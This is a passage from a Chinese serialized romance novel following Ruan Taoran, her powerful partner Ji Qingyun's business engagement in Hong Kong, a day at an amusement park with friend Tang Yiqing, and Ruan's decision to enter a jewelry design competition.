房间里有些静悄悄的,只有彼此的呼吸声。 纪青云低着头, 那吐息的空气便掠过阮陶然的手腕内侧,一股若有若无的莫名的轻痒,或者是说不清的感觉。 阮陶然的指尖忍不住轻轻颤了颤,然后,她下意识轻轻握住了指尖。 纪青云擦药的动作一下子就停住了,轻声道:“疼吗?” “还好。”阮陶然赶忙说道,“已经不疼了。” 没听到纪青云说话的声音,阮陶然赶忙追着强调了一句:“真的不疼……” 药已经擦好了,阮陶然下意识想要把手收回来,指尖却被紧紧攥住。 纪青云抬眸看着她,静静地看着她,一双浅琉璃色的眸子里,隐隐有些晦暗不清。 阮陶然能看到,视线之中,纪青云的脸在视野之中缓缓逼近过来,两个人近到呼吸可以彼此交融。 “把我的眼镜取下来。”纪青云语气淡淡。 阮陶然只有一只手能动,笨拙地伸上去,捏住眼睛中间的位置,调整了好几次,才把它拿了下来。 然后耳边的呼吸声骤然一沉,浓烈的吻就印在了她的唇上。 幽冷的香味,有一种淡淡的压迫感和侵略感,一瞬之间把周身全部包裹。 阮陶然本能透出唇齿的缝隙,舌尖轻轻一扬,回应了这个吻。 这样的回应,引来的是对面接连的进攻,缠绵的力度裹挟着,接触翻滚的轻轻的缠绵声。 阮陶然被吻得有些透不过气来,想要往后躲,腰身却猛地一沉,被人揽在了怀里。 腰上的力度带着她,整个脊背压在了床榻之上,陷入床褥之中。 那个吻还没有停,阮陶然觉得自己的唇都有些麻了,脑子也有些微微的空白。 金丝眼镜被随意丢在床上,阮陶然的手本能地抵住了纪青云的肩膀。 “想要推开我?”纪青云的唇擦过阮陶然的耳畔。 “阮陶然,你不喜欢我了是吗?”她的声音里透着几分危险的意味。 她本身就是个很危险的人,身居高位,习惯了以势压人,永远处于猎人的地位打量自己的猎物。 “没有……”阮陶然轻轻喘了几口气,小声说道,“就是有些喘不过气来了。” “手腕还疼么?”纪青云问道。 “不疼。”阮陶然摇了摇头。 纪青云现在虽然是制住她的动作,但很小心地避开了手腕的伤处。 “在我面前,就只会这样应付?”纪青云的语气之中,似乎有些微微压抑的薄怒。 阮陶然有些搞不明白纪青云突然来的情绪。 上次……上次这么发疯的时候,还是她送了鲜花胸针给沈秋序的时候…… 但这次,就是因为用了唐逸卿的药膏吗? 不止于此吧。 “她给的药,我会扔掉的。”阮陶然小声说道,“我同她真的没有什么,只是……朋友……” 说着说着,阮陶然半是委屈,半是演技,眼眶里的泪一下子就落下来了。 吧嗒吧嗒的眼泪像是断了线的珠子一样,那双眼睛一下子变得红红的。 纪青云眸子微微顿了一下,收回手,坐了起来,轻声道:“抱歉……” 阮陶然也坐起来,抹了两把眼泪,却怎么都止不住哭,越擦越多。 起初还想控制一下,后来干脆自暴自弃了,哭得整个肩膀都在微微颤抖。 纪青云轻轻叹了口气,从桌子上拿了纸巾,默默帮阮陶然擦眼泪。 两个人,就这么一个人哭,一个人擦,就这么过去了十几分钟。 阮陶然总算是控制住自己的眼泪了,第一件事就是赶忙解释。 “我和她没什么私交,就是那天她救了我一次……” “嗯。”纪青云点了点头,没继续说什么。 阮陶然小声道:“我还有什么……不对的吗?” 她明显能感觉到,纪青云的低气压并没有散去。 纪青云眸子凝了凝,收起手里湿了的纸巾,随手丢到垃圾桶里,淡淡道:“没有,你好好休息。” 她站起身来,看到桌面上摆着的那管一模一样的软膏,随手拿出去,丢在了餐厅的垃圾桶里。 去酒柜里挑了一瓶威士忌。 床头柜上的枯叶已经打扫干净了,花瓶也不在了。 纪青云很少直接喝这么烈的酒,浓烈的酒味滑下去的时候,似乎有些火辣辣的感觉。 她的呼吸之中也有些滚烫,望着落地窗外,郁郁葱葱的花园,心里稍安,觉得一切都还在她的掌握之中。 刚才的问题,其实也不必问出口了。 阮陶然虽然会在唐逸卿面前哭着说疼,但终究只会和她接吻,同她亲密,只会属于她。 “嗡——”阮陶然的手机振动了一下,是唐逸卿的消息。 唐逸卿:[今天还好吗?手上的伤好了没。] 阮陶然有些无奈:[你自己受伤比较严重好不好?] 唐逸卿:[好无聊啊,老头不准我出门,剥夺了我的自由。] 阮陶然:[那你找你妈妈告状啊。] 唐逸卿:[好啊,你在嘲笑我是不是?等我见面,一定要挠你痒痒。] 她怎么敢对她妈妈讲,到时候就不止是剥夺自由了,要连同摩托车一起没收了。 阮陶然:[你说早了,等到我们见面,我已经有防备了,你不可能得手的。] 唐逸卿:[我有事没事就找你聊天,你会不会觉得烦啊?] 阮陶然翻了翻聊天记录,这一天聊了三五百条,她都没意识到。 阮陶然还没来得及回复,唐逸卿的新消息就到了:[肯定不会烦我,小汤圆最好了。] 阮陶然几乎能想象出来她说这句话的语气,脸上挂着灿烂明媚的笑。 受西方教育长大的唐逸卿,骨子里有一种天然的外放和开朗,明媚得像是天上的骄阳。 阮陶然唇角扬了扬,在聊天框里哒哒哒输了一行字。 然后还没来记得发出去,聊天框上弹出来林晓晓的消息—— [然然,我在论坛上看到有爆料说,下个月纪青云赴港岛和傅长宁举办订婚仪式,你知道吗?] [有人爆出来了请柬,虽然图片有些糊,但看起来有模有样的。] [而且传闻说傅家这两天买下来了那颗港岛之光,是不是要拿来做订婚戒指啊?] 阮陶然看着林晓晓的消息,握着手机的指尖有些微微的紧。 她回头就把唐逸卿聊天框里面没发出去的那段话删除了。 她说——我们之间可以做好朋友,但我觉得我们需要保持些距离。 她换了一句话:[我当然最好了。] 阮陶然也希望林晓晓所谓的小道消息是假的,亦或者是,纪青云能跟她好好解释。 但是一切都没有,直到临近报道里面提到的订婚日期前一天,她知道了纪青云的行程,她说要飞去港岛几天。 阮陶然吃早餐的动作微微停了一下,语气故作淡然问道:“是去订婚吗?” 纪家和傅家都没有严格保密,纪青云对阮陶然知道这件事并不意外,她淡淡道:“是。” 纪青云觉察到阮陶然的情绪有些不对劲,睫羽抬起,看着她说道:“我们是假婚约,你知道的。” “过几天我会让星悦城再次审核Seraphine的入驻申请。” “如果没有意外,这次申请可以通过。” “星悦城会附加条件,要求Seraphine把Aling的设计单独设计橱窗,想必Seraphine不会拒绝。” 阮陶然抿了抿唇,没说话,眉心微微蹙了蹙。 这算是什么意思?不高兴了就用些金钱名利哄,金主随手打发金丝雀的把戏。 “知道了。”阮陶然沉沉呼了口气,抬眸之间,脸上已经挂上了淡淡的笑,“路上注意安全。” “港岛这几天可能会有台风,温度可能会低一些,注意照顾自己。” 和往常一样,善解人意。 纪青云心里的不安稍稍压下去,轻声道:“嗯。” 她说:“我就知道你不会介意的,所以觉得没必要跟你讲。” 阮陶然指尖微微一顿,脸上还挂着笑,状似漫不经心聊到:“如果我要是介意的话,姐姐会放弃这个婚约吗?” “不会。”纪青云语气淡淡。 她喝掉杯子里的牛奶,站起身来:“去港岛的航班之前还有个早会,先走了。” 她说的是事实,她现在放弃这个婚约,她苦心经营的纪氏,说不准就被纪育川拿走了,这是她不能容忍的事情。 她需要这一年的时间缓冲,用傅长宁稳住她在家里的地位,然后一点点架空纪老爷子,把话语权握在自己手里。 绝不可能,为了任何事情放弃。 阮陶然脸上的笑落下去,随口吃了点东西,也准备起身上班。 刚拿好手包,手机就不停地震动起来。 阮陶然接起来,就听到里面的声音:“小汤圆,你家怎么这么安保森严啊?我在大门口进不去了,快来接我。” 阮陶然有些没回过神来:“你说你在哪儿?” “你家门口啊,隆华天域,应该是这里吧,老头说寄送文书的地址就是这儿。” 唐逸卿继续说道:“这儿保安好严肃啊,我都喊叔叔了,他还是不肯给我进。” 阮陶然:“……”这个小区的保安,和唐教授那个老旧小区完全不是一个水平的。 好在,保安认阮陶然的手机号。 阮陶然穿了鞋出门的时候,就听得一声摩托车轰鸣,稳稳地停在她面前。 唐逸卿取下摩托车头盔,一头金发散开来,被阳光照射出来耀眼的夺目,一身骑装,英姿飒爽的样子。 她把另一个摩托车头盔递过来:“走,上车。” 阮陶然没接,问道:“去哪儿?” “你的脚好了吗?”她忍不住看向唐逸卿的腿,“能骑摩托了?唐教授不是把你钥匙没收了吗?” “等等……”阮陶然意识到很重要的一件事,“你该不会是偷了钥匙跑出来的吧?” 唐逸卿只是笑,并不回答她的问题,催促道:“快快快,上车了。” 阮陶然:“……”这也就是默认了。 阮陶然有些无奈道:“我还得去上班。” “不去不行吗?”唐逸卿看着她笑,把头盔往她头上一扣,“走啦,翘班,带你去潇洒。” “你不用上班吗?”阮陶然惊讶于她的潇洒。 “我还没毕业呢。”唐逸卿蹙了蹙眉,说道,“博士延毕第二年了,不提这些不开心的。” 阮陶然:“……”博士延毕还能天天潇洒,这也是西方教育的松弛吗? 唐逸卿凑过来看阮陶然的眼睛,说道:“你今天是不是不开心啊?” “不开心就更要出去玩了,上什么破班啊?”她拍了拍摩托车座椅后座,“说走就走,来不来?” “来。”阮陶然点头,扣好头盔帽子,坐上了唐逸卿的摩托车。 她并没有唐逸卿这么潇洒的人生态度,她是在心里想了一下,今天确实没什么工作,才答应的。 “抱紧了。”唐逸卿拉住阮陶然的手,贴在她的腰上,伸手拉下头盔,语气帅气潇洒,“走,出发!” 第55章 第 55 章 去还是不去? 摩托车停在游乐园停车场的时候, 阮陶然还是有些疑惑:“我们,两个成年人,来游乐园?” “没有人说只有小孩子能来游乐园啊。”唐逸卿一脸的理所当然。 “可我还穿着……”阮陶然看了看自己的装扮, 一身上班的西装套装,一身的班味儿。 “里面有服装店, 给你买一身。”唐逸卿拉着人就往大门跑。 她金色的发铺开来,迎着阳光的明媚:“走,我们快些, 等会儿人多了就要排队了。” “今天是工作日, 怎么可能会人多?”阮陶然有些无奈, 却也是跟着她的步子跑起来。 游乐园里面的确有服装店, 卖的是卡通形象的T恤衫。 唐逸卿挑挑拣拣, 给她选了件粉色的兔子, 还给自己拿了件黑白两色的熊猫服。 从卫生间换了衣服出来的时候, 看着对方身上滑稽的图案, 两个人都忍不住会心一笑。 阮陶然不记得自己上次来游乐园是什么时候了,看什么都新鲜。 看着旋转木马脚步定住,旁边唐逸卿在她面前挥了挥手:“这个不排队, 等会儿再回来坐。” “那先玩什么?”阮陶然觉得,唐逸卿似乎是对这个游乐园很了解的样子。 “当然是凤舞九天。”唐逸卿指了指远处, 那两个三百六十度旋转的圆环,赫然是过山车的轨道。 阮陶然忍不住有些怯怯的:“算了算了……我恐高……” “啊,这样啊。”唐逸卿的语气明显有些遗憾, 但还是改了想法, “行,我们坐旋转木马。” 旋转木马、碰碰车、海上救援……两个人几乎把怂怂的儿童项目玩了一遍。 阮陶然明显觉得唐逸卿不是很尽兴,环视了一圈, 指了指前面的激流勇进:“玩这个吧。” “这个从上面冲下来的时候还是挺高的。”唐逸卿马上说道,“我们再找找别的。” 阮陶然就是这样的人,她不太习惯别人围着自己转,让唐逸卿一直陪着她,她会过意不去。 于是阮陶然拉着唐逸卿就往激流勇进走:“来都来了,中国人传统艺能。” “我看了,应该不高。”阮陶然这么说着,等到坐上去的时候,就已经开始后悔了。 “你的头发,要完全包进去,不然等会儿会湿透的。”唐逸卿说着,伸手来帮阮陶然整理头发。 指尖碰到阮陶然的额头,阮陶然微微一顿,却也没有躲。 唐逸卿的眼睛很漂亮,像是蓝色的大海,像是晶莹剔透的宝石,认真的时候,里面有种淡淡的光彩。 “好了。”唐逸卿把她的最后一缕头发放进去,伸手一拉帽子上的带子,噗嗤一声笑出声。 阮陶然眨了眨眼,有些不明所谓地看着她。 唐逸卿揉了揉她的脑袋,道:“圆溜溜的,好像一个小汤圆。” 唐逸卿再说自己中文不好,阮陶然都要跟她急了,这样形象的比喻,她是张口就来。 不过来不及纠结太多,因为工作人员已经检查完所有的安全带,启动了装置。 咔嚓咔嚓的声音里,小火车驶出站台,外面的阳光落在身上,阮陶然微微眯了眯眼。 就是这眯眼的功夫,小火车已经爬上了第一个坡道。 然后,毫无预料地咣当一下落下去。 阮陶然是真的体会到了,什么叫做人在前面跑,魂儿在后面追。 身边的唐逸卿发出一声兴奋的欢呼,阮陶然只是闭上了眼,然后紧紧抿紧了唇。 “小汤圆,你是不是害怕啊?”唐逸卿问的声音在她耳边不甚清晰,呼呼的风声里面,阮陶然听到自己的心跳声。 然后,又是一个更大的坡道。 连着两三个坡道之后,最后一个坡道会冲到顶峰,然后一下冲入到水池里面。 感觉到自己的升高,阮陶然微微抿紧了唇,心里告诉自己,就一下了,就一下了。 就在落下去的一瞬间,阮陶然只觉得自己的肩膀忽然被稳稳抱住。 轰隆一声,砸入水里,哗啦溅起来几米高的水花。 车停了下来,睁开眼睛,就迎上唐逸卿的担忧的眼睛:“你还好吗?早知道拦住你了,不让你坐这个了。” “还好……”阮陶然说着,松开自己身上的安全带走下去,然后腿一软,差点儿直接摔地上。 还是唐逸卿眼疾手快,扶住了她的手肘。 唐逸卿很是过意不去:“我们找个地方休息一会儿吧。” 坐在树荫下,阮陶然觉得自己的魂儿还在过山车上没回来。 手机里面是和纪青云的聊天框。 算起来这个时间,她应该已经上了去港岛的飞机了。 就是……阮陶然的指尖悬了很久,最后也没有发消息出去。 唐逸卿在甜品站买了甜筒,还买了一大桶小熊桶装的爆米花。 “我之前来游乐场的时候,见到所有小朋友都有这个。”她把爆米花桶塞到了阮陶然手里。 “谢谢。”阮陶然接过来,眸子里有些微微的软,她不知道有多少年没有被人当做小孩儿宠了。 “不用谢,你在我心里就是我的小妹妹,给小妹妹卖爆米花,理所当然。” 阮陶然唇角的弧度扬了扬,然后掌心的手机微微震动了一下。 纪青云:[上飞机了。] 语气很冷很淡,但有点破天荒,这是纪总第一次跟她报备。 唐逸卿并没有看她的手机屏幕,却已经很自信说道:“是纪总的消息?” “嗯。”阮陶然点了点头。 唐逸卿笑了笑,没有说话。 阮陶然总觉得……唐逸卿像是知道什么一样,但是她并没有和唐逸卿说过她和纪青云的关系…… 她对唐逸卿,也一直是姐妹之间的关系。 唐逸卿对待她,真的就是对待小妹妹一样,再没有别的。 纪青云下了机,傅长宁就在登机口接她,上了车,他就对司机说道:“回家。” “先去酒店放行李吧。”纪青云淡淡说道。 “酒店?”傅长宁的眉心似乎是蹙了蹙,“住家里多方便啊。” “你们傅家开明,但我们家比较传统,哪怕是订了婚,也没有住到一起的说法。”纪青云很自然的借口。 “傅家在港岛的房产不止一处,我们可以不住在一起的。”傅长宁马上继续说道。 “那也是住进了男方家里。”纪青云眸色从容,“纪家家教很严。” 傅长宁却是并不信她的话,无奈地揉了揉眉心道:“青云,你为什么对我要这么有警惕心?” “不是我有警惕心,是你过界了,傅先生。”纪青云的称呼很是疏离。 望着那双浅琉璃色的眸子,傅长宁轻轻叹了口气:“好吧,先去酒店。” 流水有意落花无情,他经过这段时间相处对纪青云很满意,但纪青云却没有别的意思。 但表面上的功夫,纪青云都配合地做到了。 挽着傅长宁的手进了傅家的门,这晚上的一餐饭,也吃得宾主尽欢。 纪青云只提前来了一天,第二天就是订婚仪式。 纪老爷子并没有来,纪家的代表是纪青云的便宜妈,她爸的正宫太太梁霜。 梁霜提前几天就来了港岛购物游玩,晚上拉着纪青云的手说不停,说傅长宁对她多好,有多孝顺,是个多好的孩子。 纪青云左耳朵进,右耳朵就出去了。 她可不觉得梁霜是对她好,明显是想要纪青云嫁出去,然后给自己儿子腾路。 晚上散了之后,纪青云就回了酒店。 一如既往,先打开工作邮箱扫了一遍有没有重要的邮件。 然后打开了和阮陶然的聊天框。 聊天停止在她跟阮陶然说上飞机了,阮陶然回了她一句——祝顺利,照顾好自己。 看着“顺利”那两个字,纪青云只觉得心里微微有些不舒服。 她在祝什么,祝她订婚顺利吗? 纪青云想拨个电话过去,但又不知道拨个电话出去能说什么。 想来想去,随手把手机丢在桌面上。 又过了十几分钟,拿起手机,给家里的管家打了个电话。 “阮小姐睡了吗?”她问道。 管家说:“还没呢,十分钟之前刚刚到家。您现在给她打电话,不会打扰到她。” 不是会不会打扰,纪青云是不知道说什么。 “嗯,知道了。”纪青云淡淡应了一句。 忽然想起来什么,像是漫不经心问道:“今天有客人找阮小姐吗?” “有。”管家立马答道,“您走了之后就来了一位,骑着摩托车载走了阮小姐。” “知道了。”纪青云补了一句,“不用告诉阮小姐我打过电话。” 她挂了电话,打开阮陶然的聊天框,然后又关上,最后打开了和唐逸卿的聊天框。 点到头像,进入到她的朋友圈里面。 赫然就见到最上面的动态,两个人的合照,在过山车上。 唐逸卿笑着,紧紧抱住怀里的阮陶然,水花四溅,阳光美好。 纪青云眸子在屏幕上定了一会儿,然后打给了韩悦。 阮陶然换了衣服出来的时候,就见到手机上有一个未接来电,是韩悦的。 韩悦给她发了消息——[阮小姐,已经帮您定好了明早最早去港岛的航班,到时候我会来接您。] 和上次去奥克兰一样,纪青云一句话,她就要立刻就位。 阮陶然看着屏幕上的消息,微微有些愣神,她在思考一个问题——去还是不去? 第56章 第 56 章 第一次不接纪青云的电话…… 晨, 今日港岛的天气很好,天空是水洗一般的蔚蓝,倒映在海面之中, 映着一望无际的碧波。 道路上车水马龙,路边的早点铺子里面, 人们一边吃早点,一边议论今天的好天气。 “本来说台风登陆,结果不知道为什么, 忽然转了弯。” “好些年都没有过这样的好天气了。” “今天是傅家傅长宁订婚的日子吧, 看来天公也作美啊。” 纪青云的心情却没有这么好, 天不是那么蓝, 而且压着一层一层的乌云。 她是早起的时候收到韩悦的消息的, 她说—— [纪总, 阮小姐说公司那边有事情要处理, 所以不能到港岛去。] [我已经劝过了, 但她始终不肯。] 纪青云拉开窗帘,就看到落地窗外面的海景。 海浪翻滚,激起来一层一层的泡沫, 就如同她的心一般不平静。 “咚咚咚——”想起敲门声。 站在门外面的是梁霜,她一进来就着急地催到:“青云, 快些洗漱换衣服了,要赶不上吉时了。” “嗯,知道了。”纪青云语气淡淡, 垂眸发了条消息出去, 然后把手机放下来。 韩悦给阮陶然打电话时候的语气也是小心翼翼的,她总觉得纪总和阮陶然斗法,把她夹在中间难做。 明明纪总可以打个电话跟阮陶然直接说清楚这些话的, 但偏偏不打,让她来做这个传话筒。 “阮小姐,纪总说想和您面对面聊一聊Seraphine的事情。” “我查了,今天还有好几趟去港岛的航班,你这边什么时间比较合适?” 她说完之后,电话两边都陷入了沉默。 阮陶然眸子微微顿了顿,轻轻抿了抿唇。 一贯的纪青云的风格,顺我者昌逆我者亡,昨天是通知,今天是命令。 她虽然没有明说,话里的意思却明显,阮陶然若是不去,之前说过Seraphine入驻星悦城的事情就算是完了。 纪青云越是如此,阮陶然就越觉得心里堵得慌。 她一点小脾气都发不出来,被捏得死死的,完全都在纪总的掌握之中。 阮陶然也觉得自己疯了,明明从一开始就想好的,会摆明自己的身份,好好做个金丝雀。 但现在,她分明在不满,在委屈,在企图抗拒。 这样……不好……阮陶然沉沉呼了口气,然后道:“韩助,定好航班之后,把航班号发给我。” “不用,你不用来送我,我安排好公司这边的事情,公司这边有车送我。” 阮陶然收到了航班号,纪青云也收到了,大概看了眼时刻表,随手把手机放在桌面上,闭上眼睛任由化妆师化妆。 订婚仪式在中午,傅家找了很多大师算出来的吉时。 礼服是早就定制好的款式,黑色鱼尾长裙,裙摆上坠着星星点点的钻石,精致的珍珠链搭在肩膀上,衬出来冷白的肤色,也衬托出来精致如玉的锁骨。 纪青云出现的时候,引得周围的人都是看了过去。 傅长宁正在招待几位港岛的公子哥。 这几个人纷纷啧了一声,小声道:“傅少,好福气啊。” “对啊,这么漂亮的未婚妻,比那些女明星都还要好看。” “港岛也少有这样的极品吧。” 傅长宁眸子微微一顿,沉声道:“请不要用哪些三流女明星和她比较,这很不尊重。” “抱歉,失陪。”他转身朝着纪青云的方向走去。 余下几个公子哥面面相觑,微微耸了耸肩,脸色无奈。 “你们见过傅少这样吗?” “看来传言不虚哦,傅少这次是真的动心了。” “之前我还以为他只是应付家里,看来是真情圣啊。” 流程也是早就安排好的,一切按照司仪的引导走就好。 纪青云跟在傅长宁身边敬了一圈的酒,然后终于有空隙可以坐下来吃点东西垫垫肚子。 傅长宁盯着她看了许久,低声道:“辛苦了。” “应该的。”纪青云一边吃着东西,一边漫不经心点亮手机屏幕,没有新的消息。 傅长宁问道:“你在等什么消息吗?” “没有。”纪青云依旧是言简意赅。 然而就在她话音落下的时候,手机铃声响起来,她眼疾手快地就接起来了。 Cora的声音通过手机传递出来:“纪总,机场没有接到阮小姐。” “我刚刚和航司那边核实了,阮小姐并没有上飞机。” 纪青云挂了电话,目色在阮陶然的电话号上犹豫了一会儿,然后指尖轻触,拨了个电话出去。 对面铃声响了很久,无人接听。 于是纪青云又拨了一个过去,响到最后还是无人接听。 江城星悦城五楼餐厅,工作日的中午,人流量依旧很多。 冯珊珊跟着服务员走到最里面的包间,推开门:“说好请我吃饭,结果自己先吃起来了?” “总不能让我们饿死吧。”沈秋序轻哼一声,理所应当的模样,“饿了当然要先吃。” 阮陶然怔了一下,连忙站起来:“冯姐姐……” “肯定是她告诉你我不来了。”冯珊珊按了按阮陶然的肩膀,“坐下吃吧。” 阮陶然教养很好,平时很懂礼貌,不可能干出来自己提前开饭这样的事情。 冯珊珊对沈秋序太了解。 这位大小姐饿了就不肯等人,肯定跟阮陶然说,她不来了,她们可以开饭了。 沈秋序倒也不觉得不好意思,喝了口茶水,笑着说道:“知我者,珊珊也。” 冯珊珊知道这位大小姐的脾气,也不和她过多计较,只是拿起来菜单,狠狠点了几个上面最贵的菜。 但是,钱这种东西,沈秋序是最看不在眼里的,一点肉疼的表情都没有。 只是笑着跟冯珊珊说:“我刚才听到了个最好的消息。” “什么好消息?”冯珊珊下意识回怼一句,“你这儿能有什么好消息?” “冯珊珊,吃人嘴短这四个字你没听说过吗?今天吃饭我买单。” 冯珊珊:“行行行,我尊重一下你,那我就好好问了,什么好消息?” 她的语气里面满都是敷衍,沈秋序轻哼一声表达自己的不满,还是继续说了下去。 “然然说,她要参加Date青年设计师大赛。” “你说,这算不算是个好消息?” “这……”冯珊珊犹豫了一下,问道,“阮小姐不是进了灵南,开始从商了吗?” 阮陶然还没来及回答,沈秋序就一脸鄙夷:“你以为人人都是你啊,一身铜臭味,掉到钱眼里面就出不来了。” “从商有什么好的,艺术才是人生的最高追求。” 沈秋序一腔出淤泥而不染的调调,冯珊珊夹起来一个红糖糍粑塞她嘴里。 “你闭嘴吧,好好吃饭。” 沈秋序眼睛一瞪,两个人恨不得要打起来的架势。 阮陶然:“……” 沈秋序唇上沾了红糖,显得润润的,瞪大了眼睛,鼓着腮帮子,倒是有种异样的滑稽,冯珊珊忍不住噗嗤一笑。 然后立马压住了笑意,看向阮陶然:“然然,我想听听你的想法。” “其实我对经商真的没什么执念,对灵南集团也没什么执念……”阮陶然说道。 “若说最有感情的,应该是Seraphine。” “我最想做的事情是让Seraphine回到妈妈还在的时候的高度。” “反正我现在这个董事,也只是个闲职,我有足够的时间做设计师的工作。” “但是冯姐姐你放心,我也不是说就放弃了集团。” “我想的是要跟董事会证明我的价值,我可以把Seraphine盘活,也能带着集团更上一层楼。” 这个青年设计师大赛在国内的含金量很高,如果阮陶然能获奖,那么她将会成为Seraphine的顶梁柱。 日后,她可以靠着自己的名声,把这个品牌,再次带到大家的视野之中来。 “这才对。”冯珊珊点了点头,睨了一眼沈秋序,“不要跟人学那些脚不沾地的清高臭毛病。” 物质基础决定上层建筑,这样的理论,沈大小姐从来不懂。 追求艺术的前提是,能把握自己的命运。 对于沈秋序来说,她天然没有这些烦恼。 沈秋序终于把红糖糍粑咽下去了:“不管怎么样,然然回到了设计师这条路上,值得庆祝。” 阮陶然的手机响起来,阮陶然看了一眼,压了回去,调了静音。 冯珊珊问道:“有重要的事情吗?” “没有。”阮陶然语气淡淡,捏着筷子的指尖却忍不住微微收紧。 这还是她第一次,故意不接纪青云的电话。 阮陶然举起杯子来:“我以茶代酒,敬两位老师,以后还要多多关照。” “那是当然,你有这么好的灵气和天分,不做设计师可惜了。”沈秋序对于这个结果也很满意。 阮陶然余光睨到,她盖下去的手机屏幕还在亮,从缝隙之中透出来一圈淡淡的光。 阮陶然知道这样不明智。 但她真的不想去亲眼看着纪青云订婚,她心里只会更憋屈。 她可以换条路继续走,等到她把现在这条路走通了,她就不再需要纪青云这张大旗维护自己在公司的地位了。 第57章 第 57 章 说到底,是我痴心妄想了…… 黑色的迈巴赫缓缓停在隆华天域17号的门口。 纪青云闭着眼睛, 靠在座椅上,看似睡得并不好,眉头微微蹙起。 能睡好就奇怪了, 昨晚前半夜是傅家的酒宴,凌晨的航班从港岛飞回来, 根本没时间休息。 韩悦有些小心翼翼,正在犹豫现在喊醒老板,会不会引发起床气的时候, 纪青云的手机响了起来。 纪青云被惊醒, 睁开的眸子里有浓浓的疲惫, 却只是闭着眼睛压了压眉心, 眸子里的疲惫恍惚一瞬间褪去。 韩悦对上那双浅琉璃色的沉寂眸子, 心里微微一惊, 小心道:“纪总, 是您的手机响了。” 纪青云接起来电话, 韩悦也松了口气。 傅长宁的声音:“青云,怎么大早上就走了,也没有告诉我一声。” 纪青云语气之中听不出来半分的疲惫:“有些急事, 想着落地了再告诉你们。” “是因为昨晚的事情吗?”傅长宁语气之中一片和缓,“青云, 我给你道歉,我真的是有些醉了。” 昨晚,晚上的宴会过后, 纪青云要回酒店, 傅家父母自然是要自家儿子去送。 傅长宁送到了房间门口,纪青云开了门,有礼貌地跟人告别, 然后准备关门。 一只手却忽然从外面抵住了门,然后强行推开了。 两个人身上都带着浓烈的酒气,纪青云下意识往后一退,然后就被傅长宁逼到了墙边的位置。 一个很暧昧的姿势,傅长宁身高一米八以上,纪青云踩着高跟鞋,还是比他低了一些。 他低头下来,浓烈的呼吸就扑在纪青云的脖颈之间。 他轻声说道:“青云,爸妈的意思是,今晚家里就不留我的门了。” 纪青云喝了酒,却没有嘴,抬手抵在了傅长宁的胸口上,把人推开了:“傅先生,请你注意一下自己的言行。” 傅长宁抬手松了松自己的领带,盯着纪青云看:“青云,你还能找到比我更好的另一半吗?” “我可以给你所有的支持,你想要纪氏是不是?我全力以赴支持你去争。” “包括我手里所有的资产,可以转移三分之一到你的名下。” “做傅太太不好吗?你想要的一切我都可以拱手送到你的面前?” 纪青云只是眸色淡淡,语气透着冷和疏离:“傅先生,你喝醉了。” “我没有醉。”傅长宁上前一步来,一把攥住了纪青云的小臂,“青云,我是真的喜欢你。” 往日里在外面沉稳儒雅的傅家大少,现在在纪青云面前,仿佛控制不住自己情绪的赌徒。 港岛很多女人都会沦陷在傅长宁这样的告白里面。 但纪青云不会,她永远是理智的,清醒的。 “松开。”纪青云只是淡淡说了这两个字。 傅长宁沉默了一瞬,然后才继续说道:“为了那个小姑娘?” “纪青云,你喜欢那个被你养着的小姑娘是吗?” 纪青云和阮陶然同住,就连纪育川都能意识到的不对劲,傅长宁想要查出来自然是轻而易举。 “与你无关。”纪青云蹙了蹙眉,想要用力把自己的手扯出来,但傅长宁紧紧抓着,并不放手。 “我可以允许她的存在,我可以装作不知道,青云,你要你答应做傅太太,在港岛这边好好配合我,江城的事情我可以当做什么都不知道。”傅长宁这么说道。 纪青云忍不住轻笑了一声:“傅先生,刚才你还口口声声喜欢我呢。” 真是有意思,若真的喜欢她,能不在意她的性取向,能不在意她还有一个家? 所谓的沉稳者的沉沦,只不过是傅长宁在她面前演的一场戏。 他才没有要生要死地爱上纪青云,他想要的不过是纪青云这个人成为傅太太罢了。 “松手,这是我最后一次警告。”纪青云语气里只有冷静。 “你再听我说两句话……”傅长宁只说了一半,后面猛地“啊”了一声。 纪青云才没有继续和他说下去的意思,手腕一翻,就压在了傅长宁的小臂上,从侧面猛地一扯,咔嚓一声,一个反擒拿就把傅长宁狠狠按在了墙面上。 “看来你对我还是不太了解。”纪青云缓缓说道,“调查得还不够仔细。” “青云……”傅长宁还要说些什么。 纪青云松了手,猛地把人往门外一推:“滚。” 然后咚的一声关上了门。 此刻,傅长宁还在电话那头道歉,说昨晚只是喝醉了酒。 “这次喝醉了就算了,下次万一我也喝醉了,我也控制不住自己,下手轻重就不知道了。”纪青云语气冷淡。 不给他继续说话的机会,纪青云继续说道:“合约依旧作数,一年的时间,希望傅先生注意自己的言行举止。” 然后,不等对面的回复,纪青云抬手就挂了电话。 纪青云看了眼时间,下车之前交代了司机一句:“在这儿等一下,等会儿送阮小姐上班。” 熟练地输入密码开了门,就见一个毛茸茸的小球,一个冲刺从客厅跑过来,在她面前摇着尾巴喵喵叫。 纪青云蹲下来揉了两下猫脑袋,撞撞对她依旧是很亲昵,仰起头来蹭她的手心。 “阮小姐起床了吗?”纪青云一边换鞋,一边跟管家说道,“快到上班时间了,怎么不见她?” 管家顿了一下,才说道:“阮小姐飞去西班牙了,早上的航班,半小时前走的,纪总……您不知道吗?” 管家一直觉得这两位女主人很恩爱的样子,怎么怪怪的,都不知道彼此的行踪的? “知道了。”纪青云神色不改,换衣服进了浴室,洗了个澡,饭也没吃就出门了。 韩悦和司机在门口等了好一会儿,等到的不是阮陶然,而是纪青云。 “去公司。”纪青云只淡淡说了这四个字。 韩悦:“……”这是怎么了?不用休息的吗? 但很明显,纪青云身上透着低气压,韩悦也不敢多问。 阮陶然这次来西班牙的目的很简单,想在这边的拍卖场里面买几颗好看得祖母绿。 之前她参加的S国新锐设计师大赛,还有Seraphine的比赛,都是以绘图的形式参赛。 但是Date青年设计师大赛,要求提交成品。 经过首轮和次轮投票之后,最后三十件作品会在进行展览标价竞拍。 能够参与标价竞拍的客人,都是Date的高端客户。 并且在竞拍过程之中,不公布设计师姓名,只能看到成品和设计理念介绍。 拍卖所得,一部分由设计师和Date分成,另一部分投入慈善基金之中。 在原材料上也有要求,所有原料的市场价值不超过五十万元人民币。 但往往,往届比赛里面,前几名都能拍出来原料价值十倍以上的价钱。 因为最终名次不止参考最后成拍的价钱,还参考出价的人数,也并不能依靠一两个人出高价就能刷出来好名次。 此次大赛的主题“自然”“天空”“东方风采”,阮陶然看到这三个词,一瞬间就想到了祖母绿。 也多亏了唐逸卿,有门路拿到了拍卖会的入场券,时间着急,大早上两个人就飞来了。 